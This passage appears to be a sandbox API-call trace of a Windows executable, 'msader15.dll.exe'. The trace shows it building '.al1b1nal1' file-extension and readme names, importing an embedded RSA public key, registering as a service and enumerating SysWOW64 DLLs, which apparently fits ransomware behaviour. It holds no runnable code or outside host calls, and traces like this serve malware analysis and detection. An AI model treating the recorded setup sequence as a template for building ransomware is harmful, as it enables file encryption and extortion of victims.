lpDst=0x1d92850, nSize=0x2800 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0028.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0028.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=45, lpWideCharStr=0x38e158, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 45 [0028.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d95058, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0028.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d95058, cbMultiByte=10, lpWideCharStr=0x38e1e0, cchWideChar=10 | out: lpWideCharStr=".al1b1nal1") returned 10 [0028.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d95058, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0028.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d95058, cbMultiByte=17, lpWideCharStr=0x38e268, cchWideChar=17 | out: lpWideCharStr=".al1b1nal1_readme") returned 17 [0028.416] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0xffffffff) returned 0x0 [0028.418] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0028.418] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x1d97cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x1d97cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0028.418] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x1d97cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0028.425] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x280) returned 0x1d97f40 [0028.425] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x1d97cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x1d97f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x1d97f40, pcbStructInfo=0x18fd24) returned 1 [0028.425] CryptImportPublicKeyInfo (in: hCryptProv=0x8adb68, dwCertEncodingType=0x10001, pInfo=0x1d97f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x1d97f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x1d97f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x8b24b0) returned 1 [0028.427] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d97f40) returned 1 [0028.427] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d97cf8) returned 1 [0028.427] ReleaseMutex (hMutex=0x90) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d95058) returned 1 [0028.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2800) returned 0x1d95058 [0028.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c900 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c900) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d95058) returned 1 [0028.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2800) returned 0x1d95058 [0028.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c900 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c900) returned 1 [0028.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c900 [0028.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0028.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e1e0 [0028.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c900, cbMultiByte=9, lpWideCharStr=0x38e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0028.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e268 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e1e0) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e268) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c900) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d95058) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d258) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d268) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d278) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d288) returned 1 [0028.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.428] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0028.429] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 0 [0028.435] GetLastError () returned 0x427 [0028.435] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe\" " [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e268 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x5c) returned 0x38dd28 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e1e0 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e2f0 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e378 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e400 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e488 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e510 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e598 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e620 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e6a8 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e730 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e7b8 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x100) returned 0x1d97cf8 [0028.435] GetSystemWow64DirectoryW (in: lpBuffer=0x1d97cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0028.435] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d97cf8) returned 1 [0028.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0028.435] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0028.436] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0028.436] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x18fb4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fb4c) returned 0x8b27a8 [0028.436] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.436] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.436] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.437] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.437] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.437] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.437] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.437] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.437] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0028.446] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.446] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.446] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x38c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0028.446] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.446] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.446] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.446] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.446] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.446] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0028.446] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.447] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.447] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x38c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.447] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.447] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.448] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x38c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.448] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x38c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.448] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.448] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, 